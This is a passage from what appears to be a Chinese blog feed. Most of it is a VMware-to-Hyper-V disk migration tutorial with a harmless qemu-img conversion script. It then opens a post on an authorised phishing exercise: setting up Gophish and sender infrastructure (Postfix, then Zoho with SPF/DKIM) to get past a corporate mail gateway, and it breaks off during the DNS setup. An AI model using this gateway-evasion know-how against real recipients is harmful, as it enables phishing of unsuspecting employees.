&lt;h3&gt;1. 主 VMDK 和数据 VMDK 不是一回事&lt;/h3&gt;
&lt;p&gt;有些 &lt;code&gt;.vmdk&lt;/code&gt; 文件本身并不装真正的数据，它更像一个描述文件，记录这个虚拟磁盘应该去哪里找实际内容。&lt;/p&gt;
&lt;p&gt;真正的大块数据，可能被放在：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一个单独的大文件里&lt;/li&gt;
&lt;li&gt;多个拆分的小文件里&lt;/li&gt;
&lt;li&gt;一个 &lt;code&gt;-flat.vmdk&lt;/code&gt; 文件里&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以你看到一个体积很小的 &lt;code&gt;.vmdk&lt;/code&gt;，不要急着觉得它“没内容”。它有可能只是索引入口。&lt;/p&gt;
&lt;h3&gt;2. 为什么会拆成很多段&lt;/h3&gt;
&lt;p&gt;历史上，一个很常见的原因是兼容文件系统限制，比如早期 FAT32 对单文件大小有限制。后来这种拆分方式也被保留下来，方便搬运、复制或者某些工具链处理。&lt;/p&gt;
&lt;p&gt;常见情况包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-s001.vmdk&lt;/code&gt;：通常表示拆分的动态扩展磁盘&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-f001.vmdk&lt;/code&gt;：通常出现在预分配、拆分存储的场景&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-flat.vmdk&lt;/code&gt;：常见于描述文件配套的大数据文件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对迁移来说，最重要的一点不是把所有分片一个个手动处理，而是先找到“真正的入口文件”。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;六、VMDK 和 VHDX 到底有什么区别&lt;/h2&gt;
&lt;p&gt;迁移 VMware 到 Hyper-V，本质上最核心的一步，就是把 &lt;code&gt;VMDK&lt;/code&gt; 转成 &lt;code&gt;VHDX&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;1. VMDK 是 VMware 常见的磁盘格式&lt;/h3&gt;
&lt;p&gt;它的特点是生态成熟、历史包袱也比较多。它支持多种组织方式，所以灵活，但也容易让新手困惑。&lt;/p&gt;
&lt;h3&gt;2. VHDX 是 Hyper-V 更推荐使用的格式&lt;/h3&gt;
&lt;p&gt;相较于更老的 VHD，&lt;code&gt;VHDX&lt;/code&gt; 可以理解成更新一代的格式，适合现在的 Windows 和 Hyper-V 环境。它通常有这些优势：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;支持更大的磁盘容量&lt;/li&gt;
&lt;li&gt;对异常断电、元数据保护等场景更友好&lt;/li&gt;
&lt;li&gt;在 Hyper-V 环境里兼容性更好&lt;/li&gt;
&lt;li&gt;更符合微软当前的虚拟化使用习惯&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;从迁移目标来看，你一般不需要执着于“保留 VMware 原来的磁盘组织方式”，而是应该尽量把它整理成 Hyper-V 更容易接纳的 VHDX。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;七、为什么有的人迁移后能开机，有的人会报错&lt;/h2&gt;
&lt;p&gt;磁盘格式转换只是第一步。即使你成功把 &lt;code&gt;VMDK&lt;/code&gt; 转成了 &lt;code&gt;VHDX&lt;/code&gt;，虚拟机能不能顺利启动，还取决于几个容易被忽略的因素。&lt;/p&gt;
&lt;h3&gt;1. 虚拟机代数不匹配&lt;/h3&gt;
&lt;p&gt;Hyper-V 创建虚拟机时，最常见的选择之一就是“第 1 代”还是“第 2 代”。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第 1 代更接近传统 BIOS 启动&lt;/li&gt;
&lt;li&gt;第 2 代更接近 UEFI 启动&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果你迁移的是比较老的 Linux、老 Windows Server，或者原本就是传统 BIOS 安装的系统，往往应该优先尝试第 1 代。&lt;/p&gt;
&lt;p&gt;很多“明明磁盘已经转好了但就是黑屏”的问题，最后都不是磁盘损坏，而是代数选错了。&lt;/p&gt;
&lt;h3&gt;2. 控制器类型变化&lt;/h3&gt;
&lt;p&gt;原虚拟机里使用的磁盘控制器、网卡类型、启动顺序，迁移到新平台后未必一模一样。有些系统驱动比较宽容，有些系统则比较敏感。&lt;/p&gt;
&lt;h3&gt;3. 快照链没有理清&lt;/h3&gt;
&lt;p&gt;如果原 VMware 虚拟机存在快照，那么你看到的那个 &lt;code&gt;.vmdk&lt;/code&gt; 可能不是一块完整磁盘，而是一条链上的某个节点。这种情况下，直接抓错文件去转，最后得到的结果就可能不完整，甚至无法启动。&lt;/p&gt;
&lt;p&gt;所以迁移前，最好先确认：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当前虚拟机有没有快照&lt;/li&gt;
&lt;li&gt;你拿去转换的，是不是当前正在使用的那块磁盘入口&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;八、磁盘转换这件事，到底是在做什么&lt;/h2&gt;
&lt;p&gt;很多教程只会告诉你“运行某条命令”，但不知道原理，出了问题就很难定位。&lt;/p&gt;
&lt;p&gt;实际上，转换工具做的事情可以概括为三步：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;读取 VMware 的磁盘描述信息&lt;/li&gt;
&lt;li&gt;按顺序把底层数据块重新拼起来&lt;/li&gt;
&lt;li&gt;用目标格式重新写出一块新的虚拟磁盘&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;也就是说，转换不是简单改后缀名，而是一次“重新组织磁盘结构”的过程。&lt;/p&gt;
&lt;p&gt;在这个场景里，&lt;code&gt;qemu-img&lt;/code&gt; 是非常常用的命令行工具，因为它支持的磁盘格式很多，而且处理这类跨平台转换比较稳定。&lt;/p&gt;
&lt;p&gt;一个典型的转换命令像这样：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;qemu-img convert -f vmdk -O vhdx &quot;源磁盘.vmdk&quot; &quot;目标磁盘.vhdx&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里有一个关键点：你传给 &lt;code&gt;qemu-img&lt;/code&gt; 的，通常应该是那个主入口 &lt;code&gt;.vmdk&lt;/code&gt;，而不是随便挑一个 &lt;code&gt;-s001.vmdk&lt;/code&gt; 或 &lt;code&gt;-f001.vmdk&lt;/code&gt; 分片。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;九、为什么转换完以后，Hyper-V 还是可能不满意&lt;/h2&gt;
&lt;p&gt;有些人已经成功生成了 &lt;code&gt;.vhdx&lt;/code&gt;，结果在 Hyper-V 里做检查点或进一步操作时还是报错。这类问题里，一个比较常见的原因是文件系统层面的“稀疏属性”。&lt;/p&gt;
&lt;p&gt;简单理解就是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;某些工具在生成磁盘文件时，会让 NTFS 把这个文件标记成一种节省空间的稀疏文件&lt;/li&gt;
&lt;li&gt;但 Hyper-V 某些场景下对这种属性并不友好&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果确实遇到这类问题，可以尝试用 Windows 自带的 &lt;code&gt;fsutil&lt;/code&gt; 去清理这个标记：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;fsutil sparse setflag &quot;目标磁盘.vhdx&quot; 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这不是所有人都一定会遇到的问题，但如果你已经能确定磁盘转换成功、文件也没坏，Hyper-V 却还是在检查点或磁盘操作时报错，这就是一个值得排查的方向。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;十、仓库里的 &lt;code&gt;vmdk_to_vhdx.py&lt;/code&gt; 脚本在做什么&lt;/h2&gt;
&lt;p&gt;如果你不想手动一个个去找磁盘、一个个敲命令，那么当前目录里的 &lt;code&gt;vmdk_to_vhdx.py&lt;/code&gt; 脚本就是为了简化这个过程。&lt;/p&gt;
&lt;p&gt;它的思路可以概括为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;扫描本机磁盘，寻找可能的 VMware 虚拟机目录&lt;/li&gt;
&lt;li&gt;尽量避开明显的分片数据文件，只保留更可能正确的主 &lt;code&gt;.vmdk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;调用 &lt;code&gt;qemu-img&lt;/code&gt; 把它们转换成 &lt;code&gt;.vhdx&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;在需要时调用 &lt;code&gt;fsutil&lt;/code&gt; 清理稀疏属性&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;也就是说，它做的不是“发明一种新的转换方式”，而是把原本你需要手工完成的几步流程串了起来。&lt;/p&gt;
&lt;h3&gt;1. 这个脚本适合什么场景&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;本机上散落着多个 VMware 虚拟机目录，不想手动翻找&lt;/li&gt;
&lt;li&gt;目录里拆分磁盘很多，怕拿错入口文件&lt;/li&gt;
&lt;li&gt;想把“扫描、转换、修正属性”这几步自动化&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. 使用前先确认两件事&lt;/h3&gt;
&lt;p&gt;第一，系统里已经安装 &lt;code&gt;qemu-img&lt;/code&gt;，而且已经加到环境变量里。&lt;/p&gt;
&lt;p&gt;第二，建议使用管理员权限打开 PowerShell 或命令提示符。这样脚本在执行 &lt;code&gt;fsutil sparse setflag&lt;/code&gt; 时更不容易因为权限问题失败。&lt;/p&gt;
&lt;h3&gt;3. 运行方式&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;python .\vmdk_to_vhdx.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你是第一次迁移，更建议先拿一台不重要的测试虚拟机做实验。这样可以先验证自己的磁盘选择、代数选择、启动方式判断是否正确，而不是一上来就拿最重要的工作环境开刀。&lt;/p&gt;
&lt;h3&gt;4. 完整脚本&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import os
import subprocess
import ctypes
import sys
import re
from pathlib import Path

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

def check_dependencies():
    print(&quot;[*] 正在检查依赖环境...&quot;)
    # 检查 qemu-img
    try:
        subprocess.run([&apos;qemu-img&apos;, &apos;--version&apos;], stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=True)
        print(&quot;[+] qemu-img 已安装，状态正常。&quot;)
    except FileNotFoundError:
        print(&quot;[-] 错误：找不到 &apos;qemu-img&apos; 命令。&quot;)
        print(&quot;    请确保您已经安装了 QEMU 并将其添加到了系统的 PATH 环境变量中。&quot;)
        print(&quot;    下载地址: https://qemu.weilnetz.de/w64/&quot;)
        sys.exit(1)
    
    # 检查管理员权限
    if not is_admin():
        print(&quot;[!] 警告：当前未以管理员权限运行！&quot;)
        print(&quot;    执行 `fsutil sparse setflag` 命令可能需要管理员权限。&quot;)
        print(&quot;    建议您以管理员身份重新运行此终端/控制台，或者忽略此警告继续。&quot;)
        choice = input(&quot;    是否继续运行？(y/n) [n]: &quot;).strip().lower()
        if choice != &apos;y&apos;:
            sys.exit(0)
    else:
        print(&quot;[+] 管理员权限检查通过。&quot;)

def find_vmdk_files():
    print(&quot;\n[*] 正在全盘深度扫描存在的虚拟机配置文件 (.vmx) ... (这可能需要几分钟，请耐心等待)&quot;)
    drives = [chr(x) + &apos;:\\&apos; for x in range(ord(&apos;C&apos;), ord(&apos;Z&apos;)+1) if os.path.exists(chr(x) + &apos;:\\&apos;)]
    
    vmdk_targets = []
    
    # 我们首选寻找 .vmx 配置文件，从而定位主磁盘，这样可以避免被数百个拆分文件淹没
    for drive in drives:
        print(f&quot;    正在扫描 {drive} 驱动器...&quot;)
        # 排除一些系统和缓存目录加速搜索
        exclude_dirs = [&apos;$Recycle.Bin&apos;, &apos;Windows&apos;, &apos;Program Files&apos;, &apos;Program Files (x86)&apos;, &apos;ProgramData&apos;, &apos;AppData&apos;]
        
        for root, dirs, files in os.walk(drive):
            dirs[:] = [d for d in dirs if d not in exclude_dirs]
            
            for file in files:
                if file.endswith(&apos;.vmx&apos;):
                    vmx_path = os.path.join(root, file)
                    try:
                        with open(vmx_path, &apos;r&apos;, encoding=&apos;utf-8&apos;, errors=&apos;ignore&apos;) as f:
                            content = f.read()
                            # 尝试解析 scsi0:0.fileName 等常见的磁盘挂载点
                            match = re.search(r&apos;fileName\\s*=\\s*&quot;([^&quot;]+\\.vmdk)&quot;&apos;, content)
                            if match:
                                vmdk_name = match.group(1)
                                full_vmdk_path = os.path.join(root, vmdk_name)
                                full_vmdk_path = os.path.normpath(full_vmdk_path)
                                if os.path.exists(full_vmdk_path):
                                    vmdk_targets.append(full_vmdk_path)
                    except Exception as e:
                        pass
                        
                # 同时也寻找一下独立的 vmdk，但是要排除雷电模拟器和分块文件 (-s001.vmdk)
                if file.endswith(&apos;.vmdk&apos;):
                    # 过滤掉常见的拆分文件特征 (-s001.vmdk, -f001.vmdk, -flat.vmdk 等)
                    if re.search(r&apos;-(s\\d{3}|f\\d{3}|flat|\\d+)\\.vmdk$&apos;, file.lower()):
                        continue
                    if &apos;ldplayer&apos; in root.lower() or &apos;leidian&apos; in root.lower():
                        continue
                        
                    full_vmdk_path = os.path.join(root, file)
                    # 去重，如果前面通过 vmx 已经找到了这个，就不再添加
                    if full_vmdk_path not in vmdk_targets:
                         vmdk_targets.append(full_vmdk_path)

    # 去重
    vmdk_targets = list(set(vmdk_targets))
    return vmdk_targets

def convert_vmdk(vmdk_path):
    print(f&quot;\n[{&apos;=&apos;*50}]&quot;)
    print(f&quot;[*] 开始处理: {vmdk_path}&quot;)
    
    vmdk_path_obj = Path(vmdk_path)
    base_dir = vmdk_path_obj.parent
    base_name = vmdk_path_obj.stem
    
    vhdx_name = f&quot;{base_name}.vhdx&quot;
    vhdx_path = base_dir / vhdx_name
    
    # 冲突处理：如果 vhdx 已存在，添加自动编号
    counter = 1
    while vhdx_path.exists():
        vhdx_name = f&quot;{base_name}_{counter}.vhdx&quot;
        vhdx_path = base_dir / vhdx_name
        counter += 1
        
    print(f&quot;[*] 目标输出: {vhdx_path}&quot;)
    
    # 第一步：转换磁盘格式 (qemu-img)
    cmd_convert = [&apos;qemu-img&apos;, &apos;convert&apos;, &apos;-p&apos;, &apos;-f&apos;, &apos;vmdk&apos;, &apos;-O&apos;, &apos;vhdx&apos;, str(vmdk_path), str(vhdx_path)]
    print(f&quot;[*] [1/2] 正在进行动态扩展格式转换 (这可能需要较长时间，请不要关闭窗口)...&quot;)
    print(f&quot;    &gt; {&apos; &apos;.join(cmd_convert)}&quot;)
    
    try:
        # 使用 stdout=None 可以直接将 qemu-img 的进度输出到控制台
        subprocess.run(cmd_convert, check=True)
        print(&quot;[+] 格式转换完成！&quot;)
    except subprocess.CalledProcessError as e:
        print(f&quot;[-] qemu-img 转换失败。错误码: {e.returncode}&quot;)
        # 如果转换失败了，没必要继续执行 fsutil
        return False
    except FileNotFoundError:
        print(&quot;[-] 系统中未找到 qemu-img 命令。&quot;)
        return False
        
    # 第二步：去除稀疏属性 (fsutil sparse setflag)
    cmd_fsutil = [&apos;fsutil&apos;, &apos;sparse&apos;, &apos;setflag&apos;, str(vhdx_path), &apos;0&apos;]
    print(f&quot;[*] [2/2] 正在优化磁盘属性 (移除稀疏标记)...&quot;)
    print(f&quot;    &gt; {&apos; &apos;.join(cmd_fsutil)}&quot;)
    
    try:
        result = subprocess.run(cmd_fsutil, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
        if result.returncode == 0:
            print(&quot;[+] 优化成功！已成功去除稀疏属性标记。&quot;)
        else:
             print(f&quot;[-] fsutil 执行遇到问题 (可能是由于权限不足或不支持该特性):&quot;)
             print(f&quot;    输出信息: {result.stderr.strip()}&quot;)
    except FileNotFoundError:
        print(&quot;[-] 未在系统中找到 fsutil 命令，跳过属性修改环节。&quot;)

    print(f&quot;[+] &apos;{base_name}&apos; 的全部迁移步骤完成！&quot;)
    print(f&quot;    准备就绪的 Hyper-V 磁盘文件位于: {vhdx_path}&quot;)
    print(f&quot;[{&apos;=&apos;*50}]&quot;)
    return True


def main():
    print(&quot;=====================================================&quot;)
    print(&quot;      VMware (VMDK) 到 Hyper-V (VHDX) 智能迁移工具      &quot;)
    print(&quot;=====================================================\n&quot;)
    
    check_dependencies()
    
    print(&quot;\n请选择您的操作模式：&quot;)
    print(&quot; 1. 自动全盘扫描您本地的 VMware 虚拟机 (推荐)&quot;)
    print(&quot; 2. 手动指定一个 .vmdk 文件路径&quot;)
    
    try:
        mode = input(&quot;\n请输入您的选择 [1]: &quot;).strip()
    except KeyboardInterrupt:
        sys.exit(0)
        
    if mode == &apos;2&apos;:
        manual_path = input(&quot;请输入 .vmdk 文件的绝对路径（可以包含引号）: &quot;).strip()
        manual_path = manual_path.strip(&apos;&quot;&apos;).strip(&quot;&apos;&quot;)
        if os.path.exists(manual_path) and manual_path.lower().endswith(&apos;.vmdk&apos;):
            convert_vmdk(manual_path)
        else:
            print(&quot;[-] 错误：文件不存在或不是 .vmdk 文件。&quot;)
            
    else:
        vmdks = find_vmdk_files()
        
        if not vmdks:
            print(&quot;\n[-] 没有在您的磁盘上找到可识别的、主要的 .vmdk 文件。&quot;)
            print(&quot;    您可以尝试直接使用模式 2 手动输入路径来进行转换。&quot;)
            sys.exit(0)
            
        print(&quot;\n\n[*] 扫描完成！找到以下可转换的虚拟磁盘（已排除碎片文件）：&quot;)
        print(&quot;-&quot; * 70)
        for i, vmdk in enumerate(vmdks, 1):
            file_size_gb = os.path.getsize(vmdk) / (1024**3)
            print(f&quot; [{i}] {os.path.basename(vmdk)} (主索引大小/结构大小: {file_size_gb:.4f} GB)&quot;)
            print(f&quot;     路径: {vmdk}&quot;)
            print(&quot;-&quot; * 70)
            
        print(&quot;\n请输入您要转换的磁盘序号。&quot;)
        print(&quot; (支持多选，用逗号分隔，例如：1, 3, 5。 输入 &apos;all&apos; 转换全部，输入 &apos;q&apos; 退出)&quot;)
        
        try:
            choice = input(&quot;\n您的选择: &quot;).strip().lower()
        except KeyboardInterrupt:
            sys.exit(0)
            
        if choice == &apos;q&apos; or not choice:
            print(&quot;已取消退出。&quot;)
            sys.exit(0)
            
        selected_indexes = []
        if choice == &apos;all&apos;:
            selected_indexes = list(range(1, len(vmdks) + 1))
        else:
            try:
                # 解析用户输入的数字列表，如 &apos;1,2,3&apos; -&gt; [1, 2, 3]
                parts = choice.split(&apos;,&apos;)
                for p in parts:
                    idx = int(p.strip())
                    if 1 &amp;#x3C;= idx &amp;#x3C;= len(vmdks):
                        selected_indexes.append(idx)
            except ValueError:
                print(&quot;[-] 您的输入格式有误，请重新运行脚本。&quot;)
                sys.exit(1)
                
        if not selected_indexes:
            print(&quot;[-] 未选择任何有效的序号。程序退出。&quot;)
            sys.exit(1)
            
        print(f&quot;\n[*] 您选择了 {len(selected_indexes)} 个虚拟机进行排队转换。&quot;)
        for idx in selected_indexes:
            target_vmdk = vmdks[idx - 1]
            convert_vmdk(target_vmdk)
            
    print(&quot;\n[+] 所有指定的任务已运行完毕。&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从文章角度看，这段脚本最有价值的地方，不是代码技巧有多复杂，而是它把“找入口文件”这件最容易出错的事自动化了。很多人迁移失败，问题不在转换命令本身，而是在最开始就拿错了 &lt;code&gt;.vmdk&lt;/code&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;十一、迁移到 Hyper-V 之前，建议先做这几个检查&lt;/h2&gt;
&lt;p&gt;这部分很基础，但很有用，能帮你少踩很多坑。&lt;/p&gt;
&lt;h3&gt;1. 先备份原始虚拟机目录&lt;/h3&gt;
&lt;p&gt;不要一边转换，一边删除 VMware 原文件。至少在 Hyper-V 那边确认能正常开机前，原始目录都应该保留着。&lt;/p&gt;
&lt;h3&gt;2. 尽量关闭或合并不必要的快照&lt;/h3&gt;
&lt;p&gt;快照链越复杂，迁移时出错的概率越高。能在 VMware 里先整理好的，尽量先整理。&lt;/p&gt;
&lt;h3&gt;3. 记下原系统的启动方式&lt;/h3&gt;
&lt;p&gt;如果你知道它原来是 BIOS 还是 UEFI，后面在 Hyper-V 创建代数时会省很多事。&lt;/p&gt;
&lt;h3&gt;4. 确认网络方案&lt;/h3&gt;
&lt;p&gt;Hyper-V 的网络交换机分为外部、内部、专用几种。很多人第一次用时会卡在这里。&lt;/p&gt;
&lt;p&gt;简单理解：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;外部交换机：虚拟机能直接出网&lt;/li&gt;
&lt;li&gt;内部交换机：主机和虚拟机能互通，但默认不直接连外网&lt;/li&gt;
&lt;li&gt;专用交换机：虚拟机之间互通，主机不参与&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果你迁移的是实验环境、分析环境或者恶意样本测试环境，内部交换机通常是一个更稳妥的起点。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;十二、如果只是入门，应该怎么选&lt;/h2&gt;
&lt;p&gt;最后把结论说得直白一点。&lt;/p&gt;
&lt;p&gt;如果你是下面这种情况，继续用 VMware 往往更省心：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;想快速装个虚拟机就开始用&lt;/li&gt;
&lt;li&gt;旧镜像很多，而且一直运行正常&lt;/li&gt;
&lt;li&gt;没有强烈的 Windows 原生整合需求&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果你是下面这种情况，Hyper-V 更值得投入：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你的工作环境本来就围绕 Windows 生态&lt;/li&gt;
&lt;li&gt;你需要和 WSL2、Sandbox、Windows 安全能力协同&lt;/li&gt;
&lt;li&gt;你打算长期维护一套更偏原生的 Windows 虚拟化方案&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;真正重要的不是“谁更高级”，而是你现在的工作流更适合谁。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;十三、一个适合新手的理解方式&lt;/h2&gt;
&lt;p&gt;如果你还是觉得抽象，可以把两者理解成：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VMware Workstation 更像一套成熟、独立、面向个人桌面的虚拟机工具&lt;/li&gt;
&lt;li&gt;Hyper-V 更像 Windows 体系内建的虚拟化基础设施&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;前者强调“拿来就用”，后者强调“和系统深度协同”。&lt;/p&gt;
&lt;p&gt;这也是为什么很多人一开始更喜欢 VMware，但随着开发、测试、运维、安全研究的工作逐渐深入，最后又会回到 Hyper-V。&lt;/p&gt;
&lt;p&gt;不是因为前者突然不好用了，而是因为后者在某些 Windows 场景下，确实更顺手。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;结语&lt;/h2&gt;
&lt;p&gt;如果只用一句话来概括这篇文章，那就是：&lt;/p&gt;
&lt;p&gt;从 VMware 迁移到 Hyper-V，不只是换一个软件图标，而是在切换一套虚拟化思路。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;为什么两边架构不同&lt;/li&gt;
&lt;li&gt;为什么 VMware 会有那么多形态各异的 VMDK&lt;/li&gt;
&lt;li&gt;为什么转换后还要关心启动方式、代数和文件属性&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;把这些基础认知补上之后，迁移这件事就不会再显得很玄学。很多看起来复杂的问题，最后也只是“选错了入口文件”或者“代数选错了”这么简单。&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>关于Gophish：从二次开发到语义Fuzz的实战之路</title><link>https://s4u2self.cc/blog/gophish-semantic-fuzz</link><guid isPermaLink="true">https://s4u2self.cc/blog/gophish-semantic-fuzz</guid><description>Gophish钓鱼平台二次开发与邮件网关绕过实战记录</description><pubDate>Sun, 01 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0x00 项目背景与前提&lt;/h2&gt;
&lt;h3&gt;0.1 项目场景&lt;/h3&gt;
&lt;p&gt;最近接了个钓鱼演练的活，整的焦头烂额，连续爆肝两天，我的主要目标是通过社会工程学手段测试企业员工的安全意识和邮件网关的防护能力。客户环境如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目标规模&lt;/strong&gt;: 5000+ 员工，多个事业部&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;邮件系统&lt;/strong&gt;: coremail&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;防护措施:&lt;/strong&gt;  未知&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;0.2 初始工具选择&lt;/h3&gt;
&lt;p&gt;作为穷人，公司也并没有提供商业工具，我选择了 &lt;strong&gt;Gophish&lt;/strong&gt; 作为基础钓鱼平台，原因如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ 开源且成熟稳定&lt;/li&gt;
&lt;li&gt;✅ 支持完整的项目管理&lt;/li&gt;
&lt;li&gt;✅ 内置邮件追踪和统计&lt;/li&gt;
&lt;li&gt;✅ Go语言开发，便于二次开发&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;0.3 面临的核心挑战&lt;/h3&gt;
&lt;p&gt;然而，直接使用原版Gophish进行测试时，我遇到了&lt;strong&gt;100%的拦截率&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;测试结果（Day 1）:
├─ 发送邮件: 50 封
├─ 成功投递: 0 封
├─ 被拦截: 50 封
└─ 拦截原因: &quot;Suspected phishing activity detected&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;0x01 发件基础设施搭建：从失败到可信域绕过&lt;/h2&gt;
&lt;p&gt;在正式进行钓鱼测试前，我首先需要解决&lt;strong&gt;邮件投递问题&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;1.1 第一次尝试：Postfix SMTP（失败）&lt;/h3&gt;
&lt;h4&gt;初始方案&lt;/h4&gt;
&lt;p&gt;最开始，我尝试使用&lt;strong&gt;自建Postfix邮件服务器&lt;/strong&gt;直接发送钓鱼邮件：&lt;br&gt;
（至于为什么不用ewomail，网上都推荐的这个，因为不是centos，没办法跑，直接找了最简单的进行测试了。）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Postfix配置（Ubuntu 20.04）
sudo apt-get install postfix

# 基础配置
myhostname = mail.phishing-domain.com
mydomain = phishing-domain.com
myorigin = $mydomain

# 这里我并没有配置真实的DNS MX记录，直接伪造的一个相近邮箱进行发送测试。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;测试结果&lt;/h4&gt;
&lt;p&gt;QQ邮箱 通过。&lt;/p&gt;
&lt;p&gt;163邮箱 通过。&lt;/p&gt;
&lt;p&gt;189邮箱 失败，550。&lt;/p&gt;
&lt;p&gt;客户给的测试邮箱 失败 550。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1767156138272-bb8608.D01OiZqP_Z18BKEw.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;邮件发送失败截图&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;日志输出&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Dec 28 10:23:45 postfix/smtp[12345]: connect to mx.189.cn[1.2.3.4]:25: Connection timed out
Dec 28 10:24:12 postfix/smtp[12345]: 550 5.7.1 Message rejected due to poor sender reputation
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;猜测失败原因&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;| 问题 |  | 189网关判定 |
| --- | --- | --- |
|  &lt;strong&gt;IP信誉低&lt;/strong&gt; |  | 垃圾邮件发送源 |
| &lt;strong&gt;无SPF记录&lt;/strong&gt; |  | 伪造发件人 |
| &lt;strong&gt;无DKIM签名&lt;/strong&gt; |  | 身份不可信 |
| &lt;strong&gt;域名年龄新&lt;/strong&gt; |  | 钓鱼域名特征 |
| &lt;strong&gt;反向DNS缺失&lt;/strong&gt; |  | 非正规邮件服务器 |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;投递率&lt;/strong&gt;：&lt;strong&gt;0%&lt;/strong&gt; （全部被189网关在SMTP握手阶段拒绝）&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;1.2 第二次尝试：Zoho企业邮箱（成功）&lt;/h3&gt;
&lt;h4&gt;解决思路&lt;/h4&gt;
&lt;p&gt;既然自建服务器信誉不足，我决定借助成熟的企业邮箱服务：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;选择Zoho Mail&lt;/strong&gt;：免费企业邮箱，支持自定义域名&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;域名准备&lt;/strong&gt;：购买类似域名，没要求就以便宜的为主了&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;完整配置&lt;/strong&gt;：SPF、DKIM、DMARC三件套&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Zoho邮箱配置过程&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;步骤1：注册Zoho企业邮箱&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;1. 访问 https://www.zoho.com/mail/
2. 选择免费版（支持最多5个邮箱账户）
3. 验证域名所有权（DNS TXT记录验证）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;步骤2：配置DNS记录&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# 1. MX记录（指向Zoho服务器）
@  IN  MX  10  mx.zoho.com.
